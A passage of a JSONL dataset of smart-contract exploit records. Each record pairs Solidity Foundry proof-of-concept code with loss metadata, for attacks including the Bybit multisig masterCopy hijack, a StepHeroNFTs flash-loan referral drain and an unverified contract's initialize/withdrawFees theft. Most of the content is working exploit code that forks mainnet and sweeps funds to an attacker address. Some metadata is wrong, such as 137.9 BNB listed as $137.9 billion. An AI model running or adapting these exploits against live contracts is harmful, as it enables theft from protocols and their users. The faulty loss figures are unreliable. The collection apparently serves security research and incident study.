"https://app.blocksec.com/explorer/tx/bsc/0xd7a61b07ca4dc5966d00b3cc99b03c6ab2cee688fa13b30bea08f5142023777d", "postmortem_url": "https://x.com/TenArmorAlert/status/1893333680417890648", "twitter_url": "https://x.com/TenArmorAlert/status/1893333680417890648", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "6700 USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC{value: 0.6 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0x4634C13E68DDf52CEFd0a7a1E6002ab4747cDE7b\ncontract AttackerC {\n HelperB internal helper;\n\n constructor() payable {\n // create_1 contract 0x0A2f4DA966319C14Ee4C9f1A2BF04fE738DF3Ce5 with 0 wei\n helper = new HelperB();\n // call helper.attack with value = msg.value\n (bool ok, ) = address(helper).call{value: msg.value}(abi.encodeWithSelector(HelperB.attack.selector));\n if (!ok) {\n // ignore failure\n }\n // call back to caller with value 3 * 10^15 * 3600 wei and gas 0\n unchecked {\n uint256 amt = 3 * 10**15 * 3600;\n // use low-level call with zero gas forwarded is not possible in solidity; mimic by sending and ignoring result\n (bool s, ) = payable(tx.origin).call{value: amt}(\"\");\n if (!s) {}\n }\n }\n\n // receive to accept refunds\n receive() external payable {}\n}\n\n// Helper contract emulating 0x0A2f4DA966319C14Ee4C9f1A2BF04fE738DF3Ce5\ncontract HelperB {\n // Constructor: if keccak(tx.origin) == constant; no effect needed\n constructor() {}", "has_exploit_code": true, "keyinfo_total_lost": "6700 USD", "keyinfo_attacker": "https://bscscan.com/address/0xd75652ada2f6a140f2ffcd7cd20f34c21fbc3fbc", "keyinfo_attack_contract": "https://bscscan.com/address/0x0a2f4da966319c14ee4c9f1a2bf04fe738df3ce5", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xde91e6e937ec344e5a3c800539c41979c2d85278", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0xd7a61b07ca4dc5966d00b3cc99b03c6ab2cee688fa13b30bea08f5142023777d", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1893333680417890648", "analysis_twitter": "https://x.com/TenArmorAlert/status/1893333680417890648", "funds_lost_formatted": "$6.7K", "content_richness_score": 7.68, "quality_estimate": "medium", "title": "unverified_35bc Exploit (2025-02)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport {IERC20} from \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 1.5B (401346 ETH + 8000 mETH + 15000 cmETH + 90375 stETH)\n// Attacker : https://etherscan.io/address/0x0fa09c3a328792253f8dee7116848723b72a6d2e\n// Attack Contract (Trojan): https://etherscan.io/address/0x96221423681a6d52e184d440a8efcebb105c7242\n// Attack Contract (Backdoor): https://etherscan.io/address/0xbdd077f651ebe7f7b3ce16fe5f2b025be2969516\n// Vulnerable Contract (Bybit Cold Wallet): https://etherscan.io/address/0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4\n// Attack Tx (Change masterCopy): https://etherscan.io/tx/0x46deef0f52e3a983b67abf4714448a41dd7ffd6d32d32da69d62081c68ad7882\n// Attack Tx (ETH): https://etherscan.io/tx/0xb61413c495fdad6114a7aa863a00b2e3c28945979a10885b12b30316ea9f072c\n// Attack Tx (mETH): https://etherscan.io/tx/0xbcf316f5835362b7f1586215173cc8b294f5499c60c029a3de6318bf25ca7b20\n// Attack Tx (cmETH): https://etherscan.io/tx/0x847b8403e8a4816a4de1e63db321705cdb6f998fb01ab58f653b863fda988647\n// Attack Tx (stETH): https://etherscan.io/tx/0xa284a1bc4c7e0379c924c73fcea1067068635507254b03ebbbd3f4e222c1fae0\n\n// @Info\n// Vulnerable Contract Code (Proxy): https://etherscan.io/address/0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4#code\n// Vulnerable Contract Code (Implementation): https://etherscan.io/address/0x34cfac646f301356faa8b21e94227e3583fe3f5f#code\n\n// @Analysis\n// Post-mortem : https://x.com/zachxbt/status/1893211577836302365\n// Twitter Guy : https://x.com/SlowMist_Team/status/1892963250385592345\n// Hacking God : https://x.com/PatrickAlphaC/status/1893215304135618759\n\ncontract Enum {\n enum Operation {\n Call,\n DelegateCall\n }\n}\n\ninterface IMultisigWallet {\n function getTransactionHash(\n address to,\n uint256 value,\n bytes memory data,\n Enum.Operation operation,\n uint256 safeTxGas,\n uint256 baseGas,\n uint256 gasPrice,\n address gasToken,\n address refundReceiver,\n uint256 _nonce\n ) external view returns (bytes32);\n\n function execTransaction(\n address to,\n uint256 value,\n bytes calldata data,\n Enum.Operation operation,\n uint256 safeTxGas,\n uint256 baseGas,\n uint256 gasPrice,\n address gasToken,\n address payable refundReceiver,\n bytes calldata signatures\n ) external;\n\n function nonce() external view returns (uint256);\n}\n\ninterface IBackdoorContract {\n function sweepETH(address destination) external;\n function sweepERC20(address token, address destination) external;\n}\n\ninterface IProxyFactory {\n function createProxyWithNonce(\n address masterCopy,\n bytes memory initializer,\n uint256 saltNonce\n ) external returns (address proxy);\n}\n\ncontract Bybit is BaseTestWithBalanceLog {\n // Poc\n address public safeProxyFactory1_1_1 = 0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B;\n address public safeMasterCopy1_1_1 = 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F;\n address public safeDefaultFallbackHandler1_1_1 = 0xd5D82B6aDDc9027B22dCA772Aa68D5d74cdBdF44;\n\n address public multisigOwner1 = 0x6cd5327027190eF45476D80B5D3BdE2E80f6aCbC;\n address public multisigOwner2 = 0xe6A99c3869D6D0691CCe23E83b571A471Bac661D;\n address public multisigOwner3 = 0x72F42564BE83B755720dBadC875cc919046A1856;\n\n uint256 privateKey1 = 0x481823978ae08ec5f1793cd753c16f7887b56ae123dca7a4e799ffa6cd432a1e;\n uint256 privateKey2 = 0x43cd2551585bcf96b2bc6ba97afcc2e0f3405b78c420a03b3d7a0f7fab5de249;\n uint256 privateKey3 = 0x62ef4b669bbf0d728b538d790d995aeae4fda9503fdc275bda21bd07b9614fb6;\n\n Trojan trojan;\n Backdoor backdoor;\n address public multisigWallet;\n\n // Real Exploit\n address public bybitColdWallet1 = 0x1Db92e2EeBC8E0c075a02BeA49a2935BcD2dFCF4;\n address public attacker = 0x0fa09C3A328792253f8dee7116848723b72a6d2e;\n address public trojanContract = 0x96221423681A6d52E184D440a8eFCEbB105C7242;\n address public backdoorContract = 0xbDd077f651EBe7f7b3cE16fe5F2b025BE2969516;\n\n address public mETH = 0xd5F7838F5C461fefF7FE49ea5ebaF7728bB0ADfa; // Mantle Staked Ether\n address public cmETH = 0xE6829d9a7eE3040e1276Fa75293Bde931859e8fA; // Mantle Restaked Ether\n address public stETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84; // Lido Staked ETH\n\n bytes public signature =\n hex\"d0afef78a52fd504479dc2af3dc401334762cbd05609c7ac18db9ec5abf4a07a5cc09fc86efd3489707b89b0c729faed616459189cb50084f208d03b201b001f1f0f62ad358d6b319d3c1221d44456080068fe02ae5b1a39b4afb1e6721ca7f9903ac523a801533f265231cd35fc2dfddc3bd9a9563b51315cf9d5ff23dc6d2c221fdf9e4b878877a8dbeee951a4a31ddbf1d3b71e127d5eda44b4730030114baba52e06dd23da37cd2a07a6e84f9950db867374a0f77558f42adf4409bfd569673c1f\";\n\n uint256 blocknumToForkFrom = 21_895_238 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n\n // Poc\n vm.label(address(safeProxyFactory1_1_1), \"Safe proxy factory\");\n vm.label(address(safeMasterCopy1_1_1), \"Safe master copy\");\n vm.label(address(safeDefaultFallbackHandler1_1_1), \"Safe default fallback handler\");\n vm.label(address(multisigOwner1), \"Multisig owner 1\");\n vm.label(address(multisigOwner2), \"Multisig owner 2\");\n vm.label(address(multisigOwner3), \"Multisig owner 3\");\n // Real Exploit\n vm.label(address(bybitColdWallet1), \"Bybit cold wallet 1\");\n vm.label(address(trojanContract), \"Trojan contract\");\n vm.label(address(backdoorContract), \"Backdoor contract\");\n vm.label(address(attacker), \"Attacker\");\n vm.label(address(mETH), \"Mantle Staked Ether\");\n vm.label(address(cmETH), \"Mantle Restaked Ether\");\n vm.label(address(stETH), \"Lido Staked ETH\");\n }\n\n function testExploit() public {\n console.log(\"Real exploit start......\");\n // Print slot 0 of bybit cold wallet 1\n // slot 0 stores masterCopy(address)\n console.log(\n \"Before attack, Bybit cold wallet 1 masterCopy:\",\n address(uint160(uint256(vm.load(bybitColdWallet1, bytes32(uint256(0))))))\n );\n // 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F\n\n // Change bybit cold wallet 1 masterCopy to backdoorContract\n changeMasterCopy(bybitColdWallet1, address(trojanContract), address(backdoorContract), signature);\n\n // Bybit cold wallet's masterCopy is changed to backdoorContract\n console.log(\n \"After attack, Bybit cold wallet 1 masterCopy:\",\n address(uint160(uint256(vm.load(bybitColdWallet1, bytes32(uint256(0))))))\n );\n\n stealMoney();\n }\n\n function testFakeExploit() public {\n console.log(\"Fake exploit start......\");\n trojan = new Trojan();\n backdoor = new Backdoor();\n\n multisigWallet = createMultisigWallet(); // I use 3 owners for example (threshold = 2)\n // Get transaction hash of changing masterCopy\n bytes32 transactionHash = getTransactionHash(\n address(trojan),\n abi.encodeWithSelector(Trojan.transfer.selector, address(backdoor), 0),\n Enum.Operation.DelegateCall\n );\n\n // Sign the transaction hash\n bytes memory fakeSignature = signTransaction(transactionHash);\n\n console.log(\n \"Before attack, multisigWallet masterCopy:\",\n address(uint160(uint256(vm.load(multisigWallet, bytes32(uint256(0))))))\n );\n\n // Change masterCopy to attacker's contract(backdoor)\n changeMasterCopy(multisigWallet, address(trojan), address(backdoor), fakeSignature);\n\n console.log(\n \"After attack, multisigWallet masterCopy:\",\n address(uint160(uint256(vm.load(multisigWallet, bytes32(uint256(0))))))\n );\n\n // I only demonstrate the attack on ETH\n vm.deal(multisigWallet, 400_000 ether);\n vm.deal(address(this), 0 ether);\n IBackdoorContract(multisigWallet).sweepETH(address(this));\n console.log(\"After attack, multisigWallet balance left:\", address(multisigWallet).balance / 1 ether, \"ETH\");\n console.log(\"Attacker earned balance:\", address(this).balance / 1 ether, \"ETH\");\n }\n\n function changeMasterCopy(address multisigWallet, address trojan, address backdoor, bytes memory signature) public {\n IMultisigWallet(multisigWallet).execTransaction(\n trojan,\n 0,\n abi.encodeWithSignature(\"transfer(address,uint256)\", backdoor, 0),\n Enum.Operation.DelegateCall,\n 45_746,\n 0,\n 0,\n address(0),\n payable(address(0)),\n signature\n );\n }\n\n function stealMoney() public {\n // Only hacker can call these functions\n vm.startPrank(attacker);\n // Sweep ETH\n sweepETH(attacker);\n console.log(\"Attacker ETH Balance After exploit:\", address(attacker).balance / 1 ether, \"ETH\");\n\n // Sweep ERC20\n sweepERC20(mETH, attacker);\n console.log(\"Attacker mETH Balance After exploit:\", IERC20(mETH).balanceOf(attacker) / 1 ether, \"ETH\");\n sweepERC20(cmETH, attacker);\n console.log(\"Attacker cmETH Balance After exploit:\", IERC20(cmETH).balanceOf(attacker) / 1 ether, \"ETH\");\n sweepERC20(stETH, attacker);\n console.log(\"Attacker stETH Balance After exploit:\", IERC20(stETH).balanceOf(attacker) / 1 ether, \"ETH\");\n vm.stopPrank();\n }\n\n function sweepETH(address destination) public {\n IBackdoorContract(bybitColdWallet1).sweepETH(destination);\n }\n\n function sweepERC20(address token, address destination) public {\n IBackdoorContract(bybitColdWallet1).sweepERC20(token, destination);\n }\n\n function createMultisigWallet() public returns (address) {\n address[] memory owners = new address[](3);\n owners[0] = multisigOwner1;\n owners[1] = multisigOwner2;\n owners[2] = multisigOwner3;\n\n uint256 threshold = 2;\n\n bytes memory initializer = abi.encodeWithSignature(\n \"setup(address[],uint256,address,bytes,address,address,uint256,address)\",\n owners, // List of Safe owners\n threshold, // Confirmation threshold\n address(0), // 'to' address: no additional delegate call after setup\n \"\", // Empty data payload (no extra call data)\n safeDefaultFallbackHandler1_1_1, // Fallback handler for the Safe\n address(0), // Payment token (address(0) indicates ETH)\n 0, // Payment amount (0 if not used)\n address(0) // Payment receiver (not used in this case)\n );\n // Create a multisig wallet\n multisigWallet = IProxyFactory(safeProxyFactory1_1_1).createProxyWithNonce(\n safeMasterCopy1_1_1,\n initializer,\n block.timestamp\n );\n\n return multisigWallet;\n }\n\n function getTransactionHash(address to, bytes memory data, Enum.Operation operation) public returns (bytes32) {\n bytes32 transactionHash = IMultisigWallet(multisigWallet).getTransactionHash(\n to,\n 0,\n data,\n operation,\n 45_746,\n 0,\n 0,\n address(0),\n payable(address(0)),\n IMultisigWallet(multisigWallet).nonce()\n );\n return transactionHash;\n }\n\n function signTransaction(bytes32 transactionHash) public returns (bytes memory) {\n (uint8 v1, bytes32 r1, bytes32 s1) = vm.sign(privateKey1, transactionHash);\n (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(privateKey2, transactionHash);\n\n bytes memory sig1 = abi.encodePacked(r1, s1, v1);\n bytes memory sig2 = abi.encodePacked(r2, s2, v2);\n return abi.encodePacked(sig1, sig2);\n }\n\n fallback() external payable {}\n}\n\ncontract Trojan {\n address public masterCopy;\n\n constructor() {}\n\n function transfer(address to, uint256 amount) public {\n masterCopy = to; // Store the address of the backdoor contract in slot 0\n }\n}\n\ncontract Backdoor {\n constructor() {}\n\n function sweepETH(address destination) public {\n (bool success, ) = destination.call{value: address(this).balance}(\"\");\n require(success, \"Failed to sweep ETH\");\n }\n\n function sweepERC20(address token, address destination) public {\n IERC20(token).transfer(destination, IERC20(token).balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "Bybit", "date": "2025-02", "file_name": "Bybit_exp.sol", "attack_vector": null, "content_hash": "24df6430a21cd79f", "collected_at": "2026-01-07T10:59:16.543517", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "1.5B (401346 ETH + 8000 mETH + 15000 cmETH + 90375 stETH)", "total_lost_usd": 1500000000.0, "attacker_address": "https://etherscan.io/address/0x0fa09c3a328792253f8dee7116848723b72a6d2e", "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": "https://x.com/zachxbt/status/1893211577836302365", "twitter_url": "https://x.com/SlowMist_Team/status/1892963250385592345", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "1.5B (401346 ETH + 8000 mETH + 15000 cmETH + 90375 stETH)", "category": "unknown", "exploit_code": "function testExploit() public {\n console.log(\"Real exploit start......\");\n // Print slot 0 of bybit cold wallet 1\n // slot 0 stores masterCopy(address)\n console.log(\n \"Before attack, Bybit cold wallet 1 masterCopy:\",\n address(uint160(uint256(vm.load(bybitColdWallet1, bytes32(uint256(0))))))\n );\n // 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F\n\n // Change bybit cold wallet 1 masterCopy to backdoorContract\n changeMasterCopy(bybitColdWallet1, address(trojanContract), address(backdoorContract), signature);\n\n // Bybit cold wallet's masterCopy is changed to backdoorContract\n console.log(\n \"After attack, Bybit cold wallet 1 masterCopy:\",\n address(uint160(uint256(vm.load(bybitColdWallet1, bytes32(uint256(0))))))\n );\n\n stealMoney();\n }", "has_exploit_code": true, "keyinfo_total_lost": "1.5B (401346 ETH + 8000 mETH + 15000 cmETH + 90375 stETH)", "keyinfo_attacker": "https://etherscan.io/address/0x0fa09c3a328792253f8dee7116848723b72a6d2e", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "https://x.com/zachxbt/status/1893211577836302365", "analysis_twitter": "https://x.com/SlowMist_Team/status/1892963250385592345", "funds_lost_formatted": "$1500.00M", "content_richness_score": 7, "quality_estimate": "medium", "title": "Bybit Exploit (2025-02)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 15.2k USD\n// Attacker : 0x8149f77504007450711023cf0ec11bdd6348401f\n// Attack Contract : https://bscscan.com/address/0x009e64c02848dc51aa3f46775c2cfbf1190c2841\n// Vulnerable Contract : https://bscscan.com/address/0xd4f1afd0331255e848c119ca39143d41144f7cb3\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xc7fc7e066ec2d4ea659061b75308c9016c0efab329d1055c2a8d91cc11dc3868\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xd4f1afd0331255e848c119ca39143d41144f7cb3\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1890776122918309932\n// Twitter Guy : https://x.com/TenArmorAlert/status/1890776122918309932\n// Hacking God : N/A\n\naddress constant addr = 0xD4F1AFD0331255e848c119CA39143D41144f7Cb3;\naddress constant zero = 0x0000000000000000000000000000000000000000;\naddress constant attacker = 0xF30Be320c55038d7F784c561E56340439Dd1a283;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"bsc\", 46681362);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n deal(address(attC), 23.007026290916617 ether);\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0x009E64c02848dc51aA3f46775c2cfBf1190C2841\ncontract AttackerC {\n constructor() {\n // call_1: addr.initialize()\n (bool s1, ) = addr.call(abi.encodeWithSelector(bytes4(keccak256(\"initialize()\"))));\n require(s1, \"init failed\");\n // call_2: addr.withdrawFees(address _to, uint256 _amount)\n (bool s2, ) = addr.call(\n abi.encodeWithSelector(\n bytes4(keccak256(\"withdrawFees(address,uint256)\")),\n zero,\n uint256(23007026290916620075)\n )\n );\n require(s2, \"withdrawFees failed\");\n // call_3: send value to tx.origin\n payable(tx.origin).transfer(23007026290916620075);\n } \n}", "type": "exploit_poc", "protocol": "unverified_d4f1", "date": "2025-02", "file_name": "unverified_d4f1_exp.sol", "attack_vector": null, "content_hash": "51cd287dc2b65d1c", "collected_at": "2026-01-07T10:59:16.543604", "_source": "postmortems", "chain": "bsc", "block_number": 46681362, "total_lost_raw": "15.2k USD", "total_lost_usd": 15200.0, "attacker_address": null, "attack_contract": "https://bscscan.com/address/0x009e64c02848dc51aa3f46775c2cfbf1190c2841", "vulnerable_contract": "https://bscscan.com/address/0xd4f1afd0331255e848c119ca39143d41144f7cb3", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0xc7fc7e066ec2d4ea659061b75308c9016c0efab329d1055c2a8d91cc11dc3868", "postmortem_url": "https://x.com/TenArmorAlert/status/1890776122918309932", "twitter_url": "https://x.com/TenArmorAlert/status/1890776122918309932", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "15.2k USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n deal(address(attC), 23.007026290916617 ether);\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0x009E64c02848dc51aA3f46775c2cfBf1190C2841\ncontract AttackerC {\n constructor() {\n // call_1: addr.initialize()\n (bool s1, ) = addr.call(abi.encodeWithSelector(bytes4(keccak256(\"initialize()\"))));\n require(s1, \"init failed\");\n // call_2: addr.withdrawFees(address _to, uint256 _amount)\n (bool s2, ) = addr.call(\n abi.encodeWithSelector(\n bytes4(keccak256(\"withdrawFees(address,uint256)\")),\n zero,\n uint256(23007026290916620075)\n )\n );\n require(s2, \"withdrawFees failed\");\n // call_3: send value to tx.origin\n payable(tx.origin).transfer(23007026290916620075);\n }", "has_exploit_code": true, "keyinfo_total_lost": "15.2k USD", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://bscscan.com/address/0x009e64c02848dc51aa3f46775c2cfbf1190c2841", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xd4f1afd0331255e848c119ca39143d41144f7cb3", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0xc7fc7e066ec2d4ea659061b75308c9016c0efab329d1055c2a8d91cc11dc3868", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1890776122918309932", "analysis_twitter": "https://x.com/TenArmorAlert/status/1890776122918309932", "funds_lost_formatted": "$15.2K", "content_richness_score": 7.11, "quality_estimate": "medium", "title": "unverified_d4f1 Exploit (2025-02)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 137.9 BNB\n// Original Attacker : https://bscscan.com/address/0xFb1cc1548D039f14b02cfF9aE86757Edd2CDB8A5\n// Attack Contract(Init) : https://bscscan.com/address/0xd4c80700ca911d5d3026a595e12aa4174f4cacb3\n// Attack Contract(Main) : https://bscscan.com/address/0xb4c32404de3367ca94385ac5b952a7a84b5bdf76\n// Attack Contract(Buyer) : https://bscscan.com/address/0x8f327e60fb2a7928c879c135453bd2b4ed6b0fe9\n// Vulnerable Contract : https://bscscan.com/address/0x9823E10A0bF6F64F59964bE1A7f83090bf5728aB\n// Attack Tx : https://bscscan.com/tx/0xef386a69ca6a147c374258a1bf40221b0b6bd9bc449a7016dbe5240644581877\n// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)\n\n// Contracts involved\naddress constant pancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;\naddress constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n\naddress constant stepHeroNFTs = 0x9823E10A0bF6F64F59964bE1A7f83090bf5728aB;\n\ncontract StepHeroNFTs_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 46843424 - 1);\n }\n\n function testPoC() public {\n vm.startPrank(attacker);\n\n new AttackerC(attacker);\n\n emit log_named_decimal_uint(\"Profit in BNB\", attacker.balance, 18);\n }\n}\n\ncontract AttackerC {\n constructor (address to) {\n AttackerC1 attC1 = new AttackerC1();\n \n attC1.attack(to);\n }\n}\n\ncontract AttackerC1 {\n function attack(address to) external {\n Uni_Pair_V3(pancakeV3Pool).flash(\n address(this),\n 0,\n 1000 ether,\n abi.encode(to)\n );\n }\n\n function pancakeV3FlashCallback(\n uint256 fee0,\n uint256 fee1,\n bytes calldata data\n ) external {\n uint256 loanAmount = IERC20(wbnb).balanceOf(address(this));\n WETH(wbnb).withdraw(loanAmount);\n\n stepHeroNFTs.call(abi.encodeWithSelector(\n bytes4(0xded4de3a), // ???\n address(this),\n 2008, // id\n 6, // amount\n 6, // amount\n loanAmount,\n bytes32(0), // ???\n block.timestamp, // expiry???\n 18766392275824 // ???\n ));\n \n AttackerC2 attC2 = new AttackerC2();\n\n attC2.attack{value: loanAmount}();\n\n StepHeroNFTs(stepHeroNFTs).claimReferral(address(0)); \n\n IWETH(payable(wbnb)).deposit{value: loanAmount + fee1}();\n\n IERC20(wbnb).transfer(pancakeV3Pool, loanAmount + fee1);\n\n (address to) = abi.decode(data, (address));\n payable(to).transfer(address(this).balance);\n }\n\n function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) external {}\n\n receive() external payable {\n if (msg.sender == stepHeroNFTs && msg.value == 3 ether) {\n try StepHeroNFTs(stepHeroNFTs).claimReferral(address(0)) {\n } catch {\n return;\n }\n }\n }\n}\n\ncontract AttackerC2 {\n function attack() external payable {\n StepHeroNFTs(stepHeroNFTs).buyAsset{value: 1000 ether}(81122, 1, msg.sender);\n }\n}\n\ninterface StepHeroNFTs {\n function buyAsset(uint256 _id, uint256 amount, address tokenBuyer) external payable;\n function claimReferral(address) external;\n}", "type": "exploit_poc", "protocol": "StepHeroNFTs", "date": "2025-02", "file_name": "StepHeroNFTs_exp.sol", "attack_vector": null, "content_hash": "31612644bcaa6262", "collected_at": "2026-01-07T10:59:16.543653", "_source": "postmortems", "chain": "bsc", "block_number": 46843424, "total_lost_raw": "137.9 BNB", "total_lost_usd": 137900000000.0, "attacker_address": "https://bscscan.com/address/0xFb1cc1548D039f14b02cfF9aE86757Edd2CDB8A5", "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0x9823E10A0bF6F64F59964bE1A7f83090bf5728aB", "attack_tx": "https://bscscan.com/tx/0xef386a69ca6a147c374258a1bf40221b0b6bd9bc449a7016dbe5240644581877", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "critical", "severity_raw": "137.9 BNB", "category": "unknown", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker);\n\n new AttackerC(attacker);\n\n emit log_named_decimal_uint(\"Profit in BNB\", attacker.balance, 18);\n }\n}\n\ncontract AttackerC {\n constructor (address to) {\n AttackerC1 attC1 = new AttackerC1();\n \n attC1.attack(to);\n }\n}\n\ncontract AttackerC1 {", "has_exploit_code": true, "keyinfo_total_lost": "137.9 BNB", "keyinfo_attacker": "https://bscscan.com/address/0xFb1cc1548D039f14b02cfF9aE86757Edd2CDB8A5", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x9823E10A0bF6F64F59964bE1A7f83090bf5728aB", "keyinfo_attack_tx": "https://bscscan.com/tx/0xef386a69ca6a147c374258a1bf40221b0b6bd9bc449a7016dbe5240644581877", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$137900.00M", "content_richness_score": 7.72, "quality_estimate": "medium", "title": "StepHeroNFTs Exploit (2025-02)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport {IERC20, WETH} from \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 186k (287bnb)\n// Attacker 1: https://bscscan.com/address/0x010Fc97CB0a4D101dCe20DAB37361514bD59A53A\n// Attacker 2: https://bscscan.com/address/0x935d6cf073eab37ca2b5878af21329d5dbf4f4a5\n// Attacker 3: https://bscscan.com/address/0xf91848a076efaa6b8ecc9d378ab6d32bd506dc79\n// Attacker 4: https://bscscan.com/address/0x907004b6bb6965a83fdbcbc060a5b30bc876c33d\n// Attacker 5: https://bscscan.com/address/0x482b004e7800174a1efb87f496552ac8f53b2fda\n\n// Attack Contract 1 (Swap and take profit): https://bscscan.com/address/0x06799F7b09A455c1cF6a8E7615Ece04B31A9D051\n// Attack Contract 2 (Hacker buy meme token): https://bscscan.com/address/0x4fdebca823b7886c3a69fa5fc014104f646d9591\n// Attack Contract 3 (Hacker create pool): https://bscscan.com/address/0xbf26e147918a07cb8d8cf38d260edf346977686c\n// Vulnerable Contract (Four meme launchpad): https://bscscan.com/address/0x5c952063c7fc8610FFDB798152D69F0B9550762b\n\n// Pre Attack Tx (Buy meme token): https://bscscan.com/tx/0xdb5d43317ab8e5d67cdd5006b30a6f2ced513237ac189eb1e57f0f06f630d582\n// Pre Attack Tx (Hacker create pool): https://bscscan.com/tx/0x4235b006b94a79219181623a173a8a6aadacabd01d6619146ffd6fbcbb206dff\n// Pre Attack Tx (Four meme add liquidity): https://bscscan.com/tx/0xe0daa3bf68c1a714f255294bd829ae800a381624417ed4b474b415b9d2efeeb5\n// Attack Tx (Swap and take profit): https://bscscan.com/tx/0x2902f93a0e0e32893b6d5c907ee7bb5dabc459093efa6dbc6e6ba49f85c27f61\n\n// @Info\n// Vulnerable Contract Code : Four meme launchpad code isn't open source\n// Notice that nearly 20 meme tokens are exploited by the hacker in the same way\n// I only demonstrate the attack on snowboard token\n\n// @Analysis\n// Check chaincatcher analysis first\n// Post-mortem : https://securrtech.medium.com/the-four-meme-exploit-a-deep-dive-into-the-183-000-hack-6f45369029be\n// Twitter Guy : https://x.com/four_meme_/status/1889198796695044138\n// Hacking God : https://x.com/PeckShieldAlert/status/1889210001220423765\n\ninterface IFourMeme {\n function addLiquidity(address, uint160) external;\n function buyTokenAMAP(address token, uint256 amount, uint256 unknown) external payable;\n}\n\ninterface IPancakeRouter {\n function createAndInitializePoolIfNecessary(\n address tokenA,\n address tokenB,\n uint24 fee,\n uint160 sqrtPriceX96\n ) external payable returns (address pool);\n}\n\ninterface IPancakePool {\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1);\n}\n\ncontract FourMeme is BaseTestWithBalanceLog {\n address public fourMemeOwner = 0x74d86638f359bDfF6EC55d78A97F294747f8f5B3;\n address public fourMeme = 0x5c952063c7fc8610FFDB798152D69F0B9550762b;\n address public memeToken = 0x4AbfD9a204344bd81A276C075ef89412C9FD2f64; // snowboard\n address public wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n address public pancakeRouter = 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364;\n address public pancakePool = 0xa610cC0d657bbFe78c9D1eA638147984B2F3C05c;\n address public attackerBuyContract = 